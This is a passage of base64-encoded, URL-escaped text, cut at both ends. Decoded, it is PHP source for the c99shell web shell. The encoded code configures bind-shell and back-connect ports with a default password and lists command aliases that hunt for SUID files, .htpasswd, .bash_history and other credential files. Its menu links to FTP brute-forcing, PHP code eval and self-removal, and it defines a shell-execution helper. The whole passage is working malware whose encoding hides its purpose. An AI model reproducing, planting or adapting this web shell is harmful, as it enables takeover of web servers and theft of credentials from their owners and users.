MuDQovLyAgYXJyYXkoDQovLyAgIHN0cmluZyAiY29tbWFuZHtpfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCi8vICAge2NvbW1hbmR9OiAlZiUgPSBmaWxlbmFtZQ0KJGV4ZWZ0eXBlcyAgPSBhcnJheSgNCiBnZXRlbnYoIlBIUFJDIikuIiAtcSAlZiUiID0%2BIGFycmF5KCJwaHAiLCJwaHAzIiwicGhwNCIpLA0KICJwZXJsICVmJSIgPT4gYXJyYXkoInBsIiwiY2dpIikNCik7DQoNCi8qIEhpZ2hsaWdodGVkIGZpbGVzLg0KICBhcnJheSgNCiAgIGk9PmFycmF5KHtyZWdleHB9LHt0eXBlfSx7b3BlbnRhZ30se2Nsb3NldGFnfSx7YnJlYWt9KQ0KICAgLi4uDQogICkNCiAgc3RyaW5nIHtyZWdleHB9IC0gcmVndWxhciBleHAuDQogIGludCB7dHlwZX06DQowIC0gZmlsZXMgYW5kIGZvbGRlcnMgKGFzIGRlZmF1bHQpLA0KMSAtIGZpbGVzIG9ubHksIDIgLSBmb2xkZXJzIG9ubHkNCiAgc3RyaW5nIHtvcGVudGFnfSAtIG9wZW4gaHRtbC10YWcsIGUuZy4gIjxiPiIgKGRlZmF1bHQpDQogIHN0cmluZyB7Y2xvc2V0YWd9IC0gY2xvc2UgaHRtbC10YWcsIGUuZy4gIjwvYj4iIChkZWZhdWx0KQ0KICBib29sIHticmVha30gLSBpZiBUUlVFIGFuZCBmb3VuZCBtYXRjaCB0aGVuIGJyZWFrDQoqLw0KJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgNCiAgYXJyYXkoYmFzZW5hbWUoJF9TRVJWRVJbIlBIUF9TRUxGIl0pLDEsIjxmb250IGNvbG9yPVwieWVsbG93XCI%2BIiwiPC9mb250PiIpLCAvLyBleGFtcGxlDQogIGFycmF5KCJjb25maWcucGhwIiwxKSAvLyBleGFtcGxlDQopOw0KDQokc2FmZW1vZGVfZGlza2V0dGVzID0gYXJyYXkoImEiKTsgLy8gVGhpcyB2YXJpYWJsZSBmb3IgZGlzYWJsaW5nIGRpc2tldHQtZXJyb3JzLg0KIC8vIGFycmF5IChpPT57bGV0dGVyfSAuLi4pOyBzdHJpbmcge2xldHRlcn0gLSBsZXR0ZXIgb2YgYSBkcml2ZQ0KLy8kc2FmZW1vZGVfZGlza2V0dGVzID0gcmFuZ2UoImEiLCJ6Iik7DQokaGV4ZHVtcF9saW5lcyA9IDg7Ly8gbGluZXMgaW4gaGV4IHByZXZpZXcgZmlsZQ0KJGhleGR1bXBfcm93cyA9IDI0Oy8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQ0KDQokbml4cHdkcGVycGFnZSA9IDEwMDsgLy8gR2V0IGZpcnN0IE4gbGluZXMgZnJvbSAvZXRjL3Bhc3N3ZA0KDQokYmluZHBvcnRfcGFzcyA9ICJjOTkiOyAgLy8gZGVmYXVsdCBwYXNzd29yZCBmb3IgYmluZGluZw0KJGJpbmRwb3J0X3BvcnQgPSAiMzEzNzMiOyAvLyBkZWZhdWx0IHBvcnQgZm9yIGJpbmRpbmcNCiRiY19wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiYWNrLWNvbm5lY3QNCiRkYXRhcGlwZV9sb2NhbHBvcnQgPSAiODA4MSI7IC8vIGRlZmF1bHQgcG9ydCBmb3IgZGF0YXBpcGUNCg0KLy8gQ29tbWFuZC1hbGlhc2VzDQppZiAoISR3aW4pDQp7DQogJGNtZGFsaWFzZXMgPSBhcnJheSgNCiAgYXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwgImxzIC1sYSIpLA0KICBhcnJheSgiZmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBhbGwgc2dpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIpLA0KICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksDQogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiwgImZpbmQgLyAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLA0KICBhcnJheSgiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgYXJyYXkoImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLA0KICBhcnJheSgibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLA0KICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogKTsNCn0NCmVsc2UNCnsNCiAkY21kYWxpYXNlcyA9IGFycmF5KA0KICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAiZGlyIiksDQogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiIpDQogKTsNCn0NCg0KJHNlc3NfY29va2llID0gImM5OXNodmFycyI7IC8vIENvb2tpZS12YXJpYWJsZSBuYW1lDQoNCiR1c2Vmc2J1ZmYgPSBUUlVFOyAvL0J1ZmZlci1mdW5jdGlvbg0KJGNvcHlfdW5zZXQgPSBGQUxTRTsgLy9SZW1vdmUgY29waWVkIGZpbGVzIGZyb20gYnVmZmVyIGFmdGVyIHBhc3RpbmcNCg0KLy9RdWljayBsYXVuY2gNCiRxdWlja2xhdW5jaCA9IGFycmF5KA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWhvbWVcIiBhbHQ9XCJIb21lXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwpLA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJhY2tcIiBhbHQ9XCJCYWNrXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Zm9yd2FyZFwiIGFsdD1cIkZvcndhcmRcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI%2BIiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmdvKDEpIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9dXBcIiBhbHQ9XCJVUERJUlwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9bHMmZD0ldXBkJnNvcnQ9JXNvcnQiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1yZWZyZXNoXCIgYWx0PVwiUmVmcmVzaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIxN1wiIGJvcmRlcj1cIjBcIj4iLCIiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zZWFyY2hcIiBhbHQ9XCJTZWFyY2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI%2BIiwkc3VybC4iYWN0PXNlYXJjaCZkPSVkIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YnVmZmVyXCIgYWx0PVwiQnVmZmVyXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwuImFjdD1mc2J1ZmYmZD0lZCIpLA0KIGFycmF5KCI8Yj5FbmNvZGVyPC9iPiIsJHN1cmwuImFjdD1lbmNvZGVyJmQ9JWQiKSwNCiBhcnJheSgiPGI%2BVG9vbHM8L2I%2BIiwkc3VybC4iYWN0PXRvb2xzJmQ9JWQiKSwNCiBhcnJheSgiPGI%2BUHJvYy48L2I%2BIiwkc3VybC4iYWN0PXByb2Nlc3NlcyZkPSVkIiksDQogYXJyYXkoIjxiPkZUUCBicnV0ZTwvYj4iLCRzdXJsLiJhY3Q9ZnRwcXVpY2ticnV0ZSZkPSVkIiksDQogYXJyYXkoIjxiPlNlYy48L2I%2BIiwkc3VybC4iYWN0PXNlY3VyaXR5JmQ9JWQiKSwNCiBhcnJheSgiPGI%2BU1FMPC9iPiIsJHN1cmwuImFjdD1zcWwmZD0lZCIpLA0KIGFycmF5KCI8Yj5QSFAtY29kZTwvYj4iLCRzdXJsLiJhY3Q9ZXZhbCZkPSVkIiksDQogYXJyYXkoIjxiPlVwZGF0ZTwvYj4iLCRzdXJsLiJhY3Q9dXBkYXRlJmQ9JWQiKSwNCiBhcnJheSgiPGI%2BRmVlZGJhY2s8L2I%2BIiwkc3VybC4iYWN0PWZlZWRiYWNrJmQ9JWQiKSwNCiBhcnJheSgiPGI%2BU2VsZiByZW1vdmU8L2I%2BIiwkc3VybC4iYWN0PXNlbGZyZW1vdmUiKSwNCiBhcnJheSgiPGI%2BTG9nb3V0PC9iPiIsIiNcIiBvbmNsaWNrPVwiaWYgKGNvbmZpcm0oJ0FyZSB5b3Ugc3VyZT8nKSkgd2luZG93LmNsb3NlKCkiKQ0KKTsNCg0KLy9IaWdobGlnaHQtY29kZSBjb2xvcnMNCiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjYzBjMGMwIjsNCiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7DQokaGlnaGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2QSI7DQokaGlnaGxpZ2h0X2RlZmF1bHQgPSAiIzAwMDBCQiI7DQokaGlnaGxpZ2h0X2h0bWwgPSAiIzEzMDBGRiI7DQokaGlnaGxpZ2h0X2tleXdvcmQgPSAiIzAwNzcwMCI7DQokaGlnaGxpZ2h0X3N0cmluZyA9ICIjMDAwMDAwIjsNCg0KQCRmID0gJF9SRVFVRVNUWyJmIl07DQpAZXh0cmFjdCgkX1JFUVVFU1RbImM5OXNoY29vayJdKTsNCg0KLy9FTkQgQ09ORklHVVJBVElPTg0KDQoNCi8vIFwvTmV4dCBjb2RlIGlzbid0IGZvciBlZGl0aW5nXC8NCkBzZXRfdGltZV9saW1pdCgwKTsNCiR0bXAgPSBhcnJheSgpOw0KZm9yZWFjaCgkaG9zdF9hbGxvdyBhcyAkaz0%2BJHYpIHskdG1wW10gPSBzdHJfcmVwbGFjZSgiXFwqIiwiLioiLHByZWdfcXVvdGUoJHYpKTt9DQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0bXApLiIpJCFpIjsNCmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7ZXhpdCgiPGEgaHJlZj1cImh0dHA6Ly9jY3RlYW0ucnUvcmVsZWFzZXMvY2M5OXNoZWxsXCI%2BYzk5c2hlbGw8L2E%2BOiBBY2Nlc3MgRGVuaWVkIC0geW91ciBob3N0ICgiLmdldGVudigiUkVNT1RFX0FERFIiKS4iKSBub3QgYWxsb3ciKTt9DQppZiAoIWVtcHR5KCRsb2dpbikpDQp7DQogaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30NCiBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxvZ2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKQ0KIHsNCiAgaWYgKGVtcHR5KCRsb2dpbl90eHQpKSB7JGxvZ2luX3R4dCA9IHN0cmlwX3RhZ3MoZXJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsIiAiLCRkb25hdGVkX2h0bWwpKTt9DQogIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCJjOTlzaGVsbCAiLiRzaHZlci4iOiAiLiRsb2dpbl90eHQuIlwiIik7DQogIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsNCiB9DQp9DQppZiAoJGFjdCAhPSAiaW1nIikNCnsNCiRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsNCmNoZGlyKCRjdXJkaXIpOw0KaWYgKCRzZWxmd3JpdGUgb3IgJHVwZGF0ZW5vdykge0BvYl9jbGVhbigpOyBjOTlzaF9nZXR1cGRhdGUoJHNlbGZ3cml0ZSwxKTsgZXhpdDt9DQokc2Vzc19kYXRhID0gdW5zZXJpYWxpemUoJF9DT09LSUVbIiRzZXNzX2Nvb2tpZSJdKTsNCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHkiXSkpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheSgpO30NCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY3V0Il0pKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpO30NCg0KJGRpc2FibGVmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQppZiAoIWVtcHR5KCRkaXNhYmxlZnVuYykpDQp7DQogJGRpc2FibGVmdW5jID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRkaXNhYmxlZnVuYyk7DQogJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsJGRpc2FibGVmdW5jKTsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9idWZmX3ByZXBhcmUiKSkNCnsNCmZ1bmN0aW9uIGM5OV9idWZmX3ByZXBhcmUoKQ0Kew0KIGdsb2JhbCAkc2Vzc19kYXRhOw0KIGdsb2JhbCAkYWN0Ow0KIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0%2BJHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7DQogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOw0KIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiBpZiAoJGFjdCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQ0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQ0KfQ0KfQ0KYzk5X2J1ZmZfcHJlcGFyZSgpOw0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9zZXNzX3B1dCIpKQ0Kew0KZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKQ0Kew0KIGdsb2JhbCAkc2Vzc19jb29raWU7DQogZ2xvYmFsICRzZXNzX2RhdGE7DQogYzk5X2J1ZmZfcHJlcGFyZSgpOw0KICRzZXNzX2RhdGEgPSAkZGF0YTsNCiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7DQogc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQp9DQp9DQpmb3JlYWNoIChhcnJheSgic29ydCIsInNxbF9zb3J0IikgYXMgJHYpDQp7DQogaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30NCiBpZiAoIWVtcHR5KCRfUE9TVFskdl0pKSB7JCR2ID0gJF9QT1NUWyR2XTt9DQp9DQppZiAoJHNvcnRfc2F2ZSkNCnsNCiBpZiAoIWVtcHR5KCRzb3J0KSkge3NldGNvb2tpZSgic29ydCIsJHNvcnQpO30NCiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKQ0Kew0KZnVuY3Rpb24gc3RyMm1pbmkoJGNvbnRlbnQsJGxlbikNCnsNCiBpZiAoc3RybGVuKCRjb250ZW50KSA%2BICRsZW4pDQogew0KICAkbGVuID0gY2VpbCgkbGVuLzIpIC0gMjsNCiAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOw0KIH0NCiBlbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gRkFMU0U7fQ0KIGVsc2UNCiB7DQogIGlmICgkc2l6ZSA%2BPSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICByZXR1cm4gJHNpemU7DQogfQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X2RpcigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogIH0NCiB9DQogY2xvc2VkaXIoJGgpOw0KIHJldHVybiBUUlVFOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfb2JqIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KIGlmICghaXNfZGlyKGRpcm5hbWUoJHQpKSkge21rZGlyKGRpcm5hbWUoJHQpKTt9DQogaWYgKGlzX2RpcigkZCkpDQogew0KICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTt9DQogZWxzZSB7cmV0dXJuIEZBTFNFO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9kaXIoJGQsJHQpDQp7DQogJGggPSBvcGVuZGlyKCRkKTsNCiBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQ0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgICRyZXQgPSBUUlVFOw0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBGQUxTRTt9fQ0KICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiByZXR1cm4gVFJVRTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsJHQpDQp7DQogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICR0ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTsNCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJGQpKQ0KIHsNCiAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBGQUxTRTt9DQogfQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkNCnsNCmZ1bmN0aW9uIGZzX3JtZGlyKCRkKQ0Kew0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuJG8pKSB7dW5saW5rKCRkLiRvKTt9DQogICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcm1kaXIoJGQpOw0KIHJldHVybiAhaXNfZGlyKCRkKTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybW9iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfcm1vYmooJG8pDQp7DQogJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOw0KIGlmIChpc19kaXIoJG8pKQ0KIHsNCiAgaWYgKHN1YnN0cigkbywtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfcm1kaXIoJG8pOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkNCnsNCmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpDQp7DQogZ2xvYmFsICRkaXNhYmxlZnVuYzsNCiAkcmVzdWx0ID0gIiI7DQogaWYgKCFlbXB0eSgkY21kKSkNCiB7DQogIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFuZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHtleGVjKCRjbWQsJHJlc3VsdCk7ICRyZXN1bHQgPSBqb2luKCJcbiIsJHJlc3VsdCk7fQ0KICBlbHNlaWYgKCgkcmVzdWx0ID0gYCR